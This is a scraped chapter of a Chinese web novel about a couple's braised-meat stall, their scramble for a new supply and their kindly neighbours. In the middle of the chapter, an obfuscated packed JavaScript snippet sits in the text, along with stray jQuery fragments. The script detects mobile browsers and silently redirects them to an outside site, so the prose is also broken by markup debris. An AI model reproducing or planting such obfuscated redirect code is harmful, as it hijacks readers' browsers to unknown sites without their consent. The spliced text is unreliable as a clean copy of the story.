14. 第 14 章
    和卤猪头肉一样,肉夹馍的生意也非常好。现在他们每天是卖十五个往上,因为和面的原因,有时候会多一两个、有时候会少一两个,数量也不固定。

    比如今天,因为没拿肉夹馍当早餐,早上就卖了有十九个,且不到二十分钟就卖完了。

    摊子上的东西清空,应望和魏云舒照例一个去菜市场买猪头、一个则拉着板车回家。

    只是今天去买猪头的时候发生了意外。

    “今天的猪头已经卖掉了。”肉摊老板这么说。

    应望皱眉,“卖了?”

    “卖了。”见应望懵住,肉摊老板又含糊着解释了一句,“最近有人在卖什么卤猪头肉,不少人觉得味儿好,就想买猪头回去自己试试。”

    应望:“……”

    所以是我自己搬起石头砸了自己的脚?

    “要不你买点别的?”肉摊老板又说。

    应望见老板那同情的眼神,顿时明白过来老板对他做的生意是知情的,毕竟他天天来这买肉买猪头,就算再眼瞎也该记住他这张脸了。

    说实话,对于有人抢生意或者出现别的状况应望已经有所准备,只是没想到来的这么快。

    这才几天啊……

    应望叹气,视线在摊子上逡巡一圈,问:“猪蹄多少钱一斤?”

    肉摊老板:“还是一块五。”

    应望想了想说:“给我称两个,要前蹄。”

    “成。”肉摊老板应了声就站起身干活,“两斤六两,三块九。”

    肉摊上剩的东西并不多了,应望看了那副大肠好几眼,最后还是没买。

    卤肥肠其实也好吃,只是这东西处理起来麻烦,中午的时间又略有些紧,他思虑片刻还是没买,只付了猪蹄的钱。

    不过临离开前应望问了句,“每天的猪头接受预定吗?”

    老板问:“你想在我这订货?”

    应望点头,“你想必也知道我做的什么生意,每天一个猪头近段时间肯定能卖完。这样一来我有了固定货物来源,你的猪头也不用每天费心思卖,对彼此都好,你觉得呢?”

    老板陷入沉思。

    事实上白云市不止他一个人在卖猪肉,相反,因为往些年肉缺的太多,现在放开做生意后不少人争先恐后的想来卖肉,因此肉贩不少。如果应望愿意,在他这个摊位买不到猪头,多走段路去别的地方肯定也能买到猪头。

    也就是说,一旦应望找到别的进货渠道,那他这里的猪头就没那么好卖了。

    所以,老板分析完利弊后,立刻就做了决定,“行!”

    应望露出笑来。

    今后的猪头来源搞定了,可今天光卖猪蹄肯定是不行的。

    应望在菜市场里转了一圈,终于看到有人在卖活鸭。应望当即眼睛一亮,掏钱将鸭子买了下来。

    鸭子的吃法有很多,烤鸭、啤酒鸭、烧鸭、卤鸭等等,吃法各式各样。他现在做卤肉生意,那卤鸭不是正好吗?

    应望愉快的带着东西回到家,魏云舒瞅见今天猪头换成了别的,立刻问:“怎么回事?”

    应望略无奈的说:“最近我们卤猪头肉的生意太好,有人吃上了瘾,就自己买了猪头回家做,所以今天肉摊上的猪头没了。”

    魏云舒惊讶,“这么快?”

    应望苦笑,“是啊,就是这么快。”

    两人相顾无言。

    片刻后,魏云舒指着应望买的那些东西问:“那这些是……”

    应望解释说:“我准备今天下午卤了拿去卖,正好也给顾客们换换口味。”

    魏云舒心想,这哪里是给顾客换口味,这分明是要气的某些顾客跳脚。可没有原料,那也没有办法。

    “正好我们本就定了要加些卤素菜,那现在换个肉卤也行。”

    “是啊,经常吃一种肯定也腻了。”

    两人自我安慰,很快就打起了精神,然后杀鸭的杀鸭、燎毛的燎毛,之后先焯水,然后再下锅卤。

    说起来,卤鸭卤猪蹄比卤猪头肉做起来还简单一些,省了中间煮熟剔骨那一道工序,东西下了锅就只需要看看火添添柴。

    刚盖上锅盖,张奶奶就拿着几根黄瓜进了厨房,“小应,忙着呢?”

    “是啊。”应望问:“张奶奶,你吃了吗?”

    “吃过了。”张奶奶说:“后院的黄瓜结了,我摘了几个,你们拿去添个菜,谢谢你们早上给阿青和芳芳的土豆饼。”

    应望惊住了,反应过来后忙说:“张奶奶,你太客气了,早上的土豆饼就是我们下手没个轻重做多了,所以才叫他们俩吃的,他们不嫌弃就好了……”

    张奶奶脸上挂着笑,“你这话啊就哄哄阿青和芳芳,我哪儿能看不出来你们是看他们眼馋,所以叫他们吃的。”

    应望觉得有点尴尬,“真没有……”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477491|141938||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    “我没有怪你们的意思,就是想谢谢你们。”张奶奶看出应望不自在,又解释说:“吃了你们的东西,总不能连句谢都没有。这黄瓜也是我自己种的,不值当什么钱,你们就当添个菜,也算是我们的心意。”

    话都说到了这个份上,要是再不收那就是不识抬举,应望只能,“那谢谢您了。”

    张奶奶说:“是我谢谢你们。”

    她可是听阿青和芳芳说了,那所谓土豆饼并不仅仅是用土豆做的,里面还有白面和鸡蛋,还是用油煎出来的,吃起来满嘴留香,舌头都能吞下去。

    鸡蛋、面、油……

    哪样不精贵?

    到底是他们占了便宜,叫许久没吃过好东西的阿青和芳芳解了馋。

    张奶奶离开厨房后,应望又给灶里添了两根柴才朝外走,然后将这事跟魏云舒说了。

    魏云舒倒也不意外,“张奶奶一看就是那种有骨气的,送点回礼也正常。”

    应望想想也是。通常来说,观孩子的行事可窥见家长的品性,刘青和刘芳懂事,那教养他们的张奶奶不会差了。

    见应望深思,魏云舒又说:“别想了,一个屋檐下,以后能帮就帮一把。”

    应望回神,“你说的对。”

    米才上蒸架,还得蒸上些时间才能熟,因此不着急做菜。正好早上泡的木耳海带这些都泡发了,现在正好洗了。

    只是才开始呢,刘青和刘芳就来了,说是要给他们帮忙。

    应望:“?”

    “不用,我们自己来,你们去忙你们自己的。”应望说。

    刘青蹲下就开始帮着洗木耳,瓮声瓮气的说:“我们没什么要忙的。”

    应望说:“那就去玩吧。”

    “不去。”刘青说:“吃了你们的东西,就该给你们干活。”

    应望提醒,“张奶奶已经给过了。”

    刘青只说:“不够。”

    应望还想说什么,刘芳就说了,“应哥哥,土豆饼里面有蛋有油,可贵了,黄瓜比不上的,我们得帮你们干活才行。”

    应望和魏云舒对视一眼,见阻拦不住,也就只能:“行吧,那你们注意别把衣服打湿了。”

    刘芳嗯嗯应好。

    刘青没吭声,低着头干活。

    应望心说,这对兄妹俩这表现跟第一回见的时候完全不同嘛,那个时候刘芳才是害羞不敢抬头的那一个啊!